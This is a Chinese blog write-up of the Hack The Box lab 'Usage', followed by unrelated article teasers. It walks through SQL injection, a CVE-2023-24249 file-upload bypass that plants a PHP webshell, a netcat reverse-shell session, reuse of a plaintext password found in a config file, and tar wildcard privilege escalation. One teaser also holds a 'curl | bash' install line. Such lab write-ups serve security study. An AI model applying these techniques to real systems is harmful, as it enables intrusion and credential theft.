Linux/Usage

news2024/9/21 2:32:04

Usage

Enumeration

nmap

首先使用 nmap 默认配置扫描系统端口对外开放情况,发现对外开放了 22 和 80 端口,然后又扫描了这两个端口的详细信息,情况如下

┌──(kali㉿kali)-[~/vegetable/HTB/Usage]
└─$ nmap -sC -sV -p 22,80 -oA nmap 10.10.11.18
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-14 22:19 EDT
Nmap scan report for 10.10.11.18
Host is up (0.52s latency).

PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  http       nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.38 seconds

可以看到 80 端口运行着 http,使用了 nginx,并且提示无法访问 http://usage.htb,将域名添加至 /etc/hosts 文件中

┌──(kali㉿kali)-[~/vegetable/HTB/Usage]
└─$ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
[sudo] password for kali: 
10.10.11.18 usage.htb

TCP/80

先从 80 端口开始,访问该网站,出现一个登录框,有 /login,/register,/admin 链接,可以尝试注册一个账号,注册成功后会重定向至 /dashboard,然后又重定向到 /login

使用注册的用户信息登录成功,发现就和标题一样,是一些博客相关的东西

查看浏览器插件 wapplayzer 显示的结果,发现系统使用了 Laravel 框架,但是暂时不清楚是哪个版本,也没有较新的漏洞,暂时先放下看看别的

页面上还有一个 admin,点击后会跳转到域名 admin.usage.htb,按照同样的方式将这个域名也添加到 /etc/hosts,然后访问看到一个管理员的登录入口

Exploitation

sql injection

在首页中的 reset password 处,作为忘记密码后填写邮件重置密码的功能,请求包如下

POST /forget-password HTTP/1.1

Host: usage.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 73

Origin: http://usage.htb

Connection: close

Referer: http://usage.htb/forget-password

Cookie: XSRF-TOKEN=eyJpdiI6Im9MOEtFbmd0ckF4MzZHQUFBZjlObFE9PSIsInZhbHVlIjoidnEwczRjTTJWOHVXSlJZMHRwL3NjNkZ5NFpUeiswOWhTVWZGaDlRdlVZTmJRRUtlMWdLbFg0Rzl6ejR4d1d1NlNLV3NESUdWSWEwVHRpY0RkcXZsaWlTN3Iya2pVekdWY20yWHd2WEd0eHA5enNMSlpLWUdid1dFZGNVS0Q5cy8iLCJtYWMiOiJkNGFmYjM3ZTVhNzJiYzZhMzQ3ZWJlZjcxODc3YjJiOGZiZWViYTY1Y2E5YWE5Mzc0MjRlNGMzMjBjMDEzZDcyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpVcTFSZ0h5MUlha0ZZNXVpSDdaRlE9PSIsInZhbHVlIjoiR25rbGllVmZ6RnhGSmQ3cnBqZjA0Nnp0TzkwQVpYN2tnRWthNXpSZUJ5am90OTExdW56VlZUOERsSUQ1bUxybTg4dWYzbnppamRTdGltRy8yVk9lcDZnd1ZmanFvRjB3YmhvOHAvNTZ0TEN4Mm5PKzFrVmpTZ0dnYzVPTDNLakMiLCJtYWMiOiJjMzQ1MWJkN2M5ZDgwYjhjZWFmMWM5YmMzYzIzZjM0YjQ1YTVmZjI2YmI5YzBjNDdmY2ViYWQ5ZjcxMTdlNmMwIiwidGFnIjoiIn0%3D

Upgrade-Insecure-Requests: 1



_token=UJZ1h0keEyWPjyEPPwGSILGkHvlyP9C4OdX11pCp&email=vegetable%40123.com

正常情况下,会响应一个 302,然后页面被重定向,但是如果在参数 email 后添加一个单引号的话,服务器会响应 500

添加两个单引号,服务器响应正常,基本判断存在 sql 注入

将数据包的请求头保存到 sql.txt 中,在注入点 email 参数后添加一个 *,然后使用 sqlmap 自动化注入

但是因为网络连接问题,我的 sqlmap 在运行不久之后就会断开,而且要浪费掉很长的时间,我甚至怀疑 sql 注入到底是不是关键的步骤,在论坛里发现有人在提问,但是没有回答。后来我找到了一篇 writeup 证实了这一点,并且也借鉴了一下他提权的过程,HTB - Usage | My Pentest Book (gitbook.io),通过 sql 注入获取 hash,然后利用 hashcat 或者 john 破解 hash 值。因为懒,我直接使用了他爆破出来的密码 admin/whatever1

获取用户名密码后,可以直接登录 Usage admin 管理页面

登陆成功显示如下,发现使用了 laravel-admin,版本为 1.8.18。laravel-admin是一个可以快速帮你构建后台管理的工具,它提供丰富的页面组件和表单元素,还有即插即用的功能组件,通过简单的配置或使用少量的代码就实现完善的后台管理功能。

CVE-2023-24249

搜索该版本,发现存在任意文件上传的漏洞,参考文章 CVE-2023-24249 | flyD,给出了很详细的利用过程,上传写好的一句话木马文件 shell.jpg,内容为

选择图片上传,截取数据包后,直接在 .jpg 后缀后面添加 .php 即可,然后放过所有的数据包

上传成功后可以看到图片除多了一个下载按钮,邮件点击该按钮选择在新的标签页打开即可获取 shell 地址

经过测试,可以执行系统命令

按照正常情况下,现在应该监听特定端口,并在浏览器中执行一些反向 shell 连接语句,获取 reverse shell。但是可能是为了避免给出提示,上传的 shell 很快就会被删除,被删除后每一次都需要重新上传,重新走一遍这个流程。但是试了几次都没能精准把控,最后决定在修改后缀名时直接把 shell 内容也改了,改成 PentestMonkey 的 shell

监听 4444 端口,按照刚才的流程将文件上传成功后,访问图片链接即可在监听端收到一个 shell,然后简单升级一个交互式 shell,在 home 目录下看到两个用户,在 dash 用户目录下可以看到 user.txt 文件,而且在隐藏文件 .monitrc 中发现了一个密码

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.18] 32816
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
07:44:45 up 49 min,  0 users,  load average: 0.03, 0.05, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell

dash@usage:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dash@usage:/$ ls /home
ls /home
dash  xander
dash@usage:/$ cd /home/dash
cd /home/dash
dash@usage:~$ ls -al
ls -al
total 52
drwxr-x--- 6 dash dash 4096 Apr 17 07:46 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26 04:50 .monit.id
-rw-r--r-- 1 dash dash    5 Apr 17 07:46 .monit.pid
-rw------- 1 dash dash 1192 Apr 17 07:46 .monit.state
-rwx------ 1 dash dash  707 Oct 26 04:49 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Apr 17 06:55 user.txt

dash@usage:~$ cat user.txt
cat user.txt
c2d*****************************

dash@usage:~$ cat .monitrc
cat .monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd  

Privilege Escalation

尝试使用该密码登录 xander 用户,成功了,直接运行 sudo -l,发现可以运行 /usr/bin/usage_management 文件

┌──(kali㉿kali)-[~]
└─$ ssh xander@10.10.11.18   
The authenticity of host '10.10.11.18 (10.10.11.18)' can't be established.
ED25519 key fingerprint is SHA256:4YfMBkXQJGnXxsf0IOhuOJ1kZ5c1fOLmoOGI70R/mws.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.18' (ED25519) to the list of known hosts.
xander@10.10.11.18's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed Apr 17 07:49:23 AM UTC 2024

  System load:           0.0
  Usage of /:            65.0% of 6.53GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.18
  IPv6 address for eth0: dead:beef::250:56ff:feb9:751


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

通过查看该文件得知该二进制文件会压缩 /var/www/html 中的所有内容,并且有一个 * 通配符,意味着可能造成滥用

在 hacktricks 中发现如下内容,详情参考 通配符备用技巧 |黑客技巧 |黑客技巧 (hacktricks.xyz)

按照文章中要求的做,尝试创建符号链接,然后在执行二进制文件时就会抛出 root.txt,如下所示,也可以读取root 的 rsa 文件,然后通过 22 连接

参考链接:

CVE-2023-24249 | flyD

通配符备用技巧 |黑客技巧 |黑客技巧 (hacktricks.xyz)

HTB - Usage | My Pentest Book (gitbook.io)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1616991.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring的过滤器、拦截器、切面区别及案例分析

Spring的过滤器、拦截器、切面 三者的区别,以及对应案例分析 一、三者的实现方式 1.1 过滤器 xxxFilter 过滤器的配置比较简单,直接实现Filter接口即可,也可以通过WebFilter注解实现对特定URL的拦截,Filter接口中定义了三个方法…

选择ERP系统需要考虑哪些因素 企业ERP系统选型指南

ERP系统是一个复杂的软件系统,中小企业要建成ERP系统首先是要选择一个适合自己的ERP软件。目前市场上的ERP软件品种繁多,功能各异,那么中小企业应如何结合自己的实际情况“量体裁衣”找到最适合自己的ERP软件呢?这是目前中小企业进行ERP选型…

Axure糖尿病健康管理APP原型 (知识科普/病友社区/远程医生会诊/购物商城/血糖监测/饮食监测)

作品概况 页面数量:共 50 页 源文件格式:rp格式,兼容 Axure RP 9/10,非程序软件无源代码 应用领域:医疗健康、慢病管理、糖尿病管理 作品特色 本作品为Axure糖尿病健康管理APP端原型图,设计规范内容清晰…

一款新型的Linux服务器管理工具

最近发现了一款新型的Linux服务器管理工具,名称叫1Panel,本文跟大伙分享一下。 一. 产品介绍 1Panel 是一个开源的 Linux 服务器运维管理面板,具有丰富的功能,可对服务器和容器进行管理。 产品提供简洁直观的We图形界面&#x…

HTML随机点名程序

案例要求 1.点击点名按钮&#xff0c;名字界面随机显示&#xff0c;按钮文字由点名变为停止 2.再次点击点名按钮&#xff0c;显示当前被点名学生姓名&#xff0c;按钮文字由停止变为点名 案例源码 <!DOCTYPE html> <html lang"en"> <head> <m…

数据结构实验(二)

单链表的基本操作 一、总的设计思路(c++实现) 1、首先定义一个包含name、gender、student_number、hobbies的学生信息结构体。 2、接着一一写出:链表初始化(initialize)函数、后插法插入(insert)函数、打印信息(output)函数、对链表结点进行排序(sortList)函数、…

【前后端】django前后端交互

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、django是什么二、django前后端交互指引三、总结 前言 随着开发语言及人工智能工具的普及&#xff0c;使得越来越多的人会主动学习使用一些开发语言&#x…

质量精美的UI设计素材库:3000+图标设计资源免费下载!

作为一名设计师&#xff0c;你的设计灵感来自哪里&#xff1f;想象一下吗&#xff1f;事实上&#xff0c;材料库仍然是大多数设计师必不可少的东西&#xff0c;如果你能更方便地找到他们可用的设计材料&#xff0c;那么在创作中&#xff0c;无疑可以用一半的努力得到两倍的结果…

Qt绘制边框有阴影兼容性问题

在Qt开发过程中&#xff0c;有时候我们要显示一个有阴影的对话框&#xff0c;这时一般采用自定义实现&#xff0c;然而最近在开发时软件时&#xff0c;Win11上显示正常&#xff0c;Win10或其他Win11电脑显示不正常&#xff0c;存在兼容性问题吗&#xff1f; 下面是具体的源码 …

【wsl】安装nvm配置

安装nvm 参考https://github.com/nvm-sh/nvm curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bashexport NVM_DIR"$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm

JS数组操作:去重,交集,并集,差集

文章目录 去重并集交集差集 去重 //定义常量 res,值为一个Map对象实例 //返回arr数组过滤后的结果&#xff0c;结果为一个数组 //过滤条件是&#xff0c;如果res中没有某个键&#xff0c;就设置这个键的值为 const res new Map(); const arr [1,1,2,2,3,4,4,5,6,6,6,6,4,3];…

MIGO行项目屏幕增强

MIGO行项目屏幕增强 一、增强描述 由于在事务码MIGO中存在的字段中没有能够满足客户需求的字段&#xff0c;所以需要在事务码MIGO的屏幕中添加一个新的页签用来保存物料凭证中行项目增加的字段。 通过查找BADI的程序ZDEMO_BADI,输入参数MIGO后&#xff0c;得到对应BADI为MB_M…

面试官竟然是个小黑子,问我用过状态机吗

状态机的组成 状态机是一种抽象的数学模型&#xff0c;描述了对象或系统在特定时间点可能处于的各种状态以及状态之间的转换规则。它由一组状态、事件、转移和动作组成&#xff0c;用于模拟对象在不同条件下的行为和状态变化。 状态机包括以下基本组成部分&#xff1a; 状态&…

React首次加载渲染2次的问题

在开发React项目的时候&#xff0c;发现useEffect会调用2次的情况&#xff0c;依赖数组明明没有变化&#xff0c;怎么会调用2次&#xff1f;百思不得其解&#xff0c;依赖没变化的话&#xff0c;那肯定是整个组件重渲染了。 最最简单的代码如下&#xff1a; const container …

微信抽奖活动怎么做_微信抽奖大狂欢

随着科技的飞速发展&#xff0c;微信已经成为我们生活中不可或缺的一部分。它不仅仅是一个简单的通讯工具&#xff0c;更是一个集社交、购物、娱乐等多种功能于一体的平台。今天&#xff0c;我们为大家带来了一场别开生面的微信抽奖活动&#xff0c;让你在享受乐趣的同时&#…

三相电子式电表ADL400储能防逆流含CE/MID认证

安科瑞薛瑶瑶18701709087/17343930412 ADL400 导轨式多功能电能表&#xff0c;是主要针对电力系统&#xff0c;工矿企业&#xff0c;公用设施的电能统计、 管理需求而设计的一款智能仪表&#xff0c;产品具有精度高、体积小、安装方便等优点。集成 常见 电 力参数测量及电能…

解决zabbix中文乱码问题

目录 1、遇到的问题 2、解决方法 第一步&#xff1a;在windows电脑上可以搜索simkai.ttf文件&#xff0c;上传到 /usr/share/zabbix/assets/fonts文件夹 第二步&#xff1a;删除软链接 第三步&#xff1a;创建软链接 第四步:重启服务 3、检查问题是否被解决 1、遇到的问…

Unity的Animator Animation的使用攻略

Animator 动画控制器 Animation 动画 动画片段 .anin 一、创建Animator 创建动画控制器 模型添加Animator组件 把控制器和模型绑定 二、创建动画 进入动画界面 创建动画片段anin 动画窗口分析 制作动画 点击录制&#xff0c; 移动子对象&#xff0c;在视窗 通过移动线来编辑关…

相机标定的原理

1.相机标定资料 这个视频是建议有一定基础的去看&#xff0c;详细介绍了整个标定的过程。 https://www.bilibili.com/video/BV1R7411m7ZQ/?spm_id_from333.337.search-card.all.click&vd_sourcec205d4d10f730a57820343328741984a 这个文章基础一点&#xff0c;可以先看 h…

钻刀无忌,过孔莫愁

高速先生成员--姜杰 钻刀是冷的&#xff0c;单板是冷的&#xff0c;眼见着过孔阻抗居高不下&#xff0c;雷豹的心也越来越冷…… 雷豹最近在研究过孔&#xff0c;少不了先学习相关的理论&#xff1a;过孔作为信号路径上一个重要的阻抗突变点&#xff0c;相对于传输线的特征阻抗…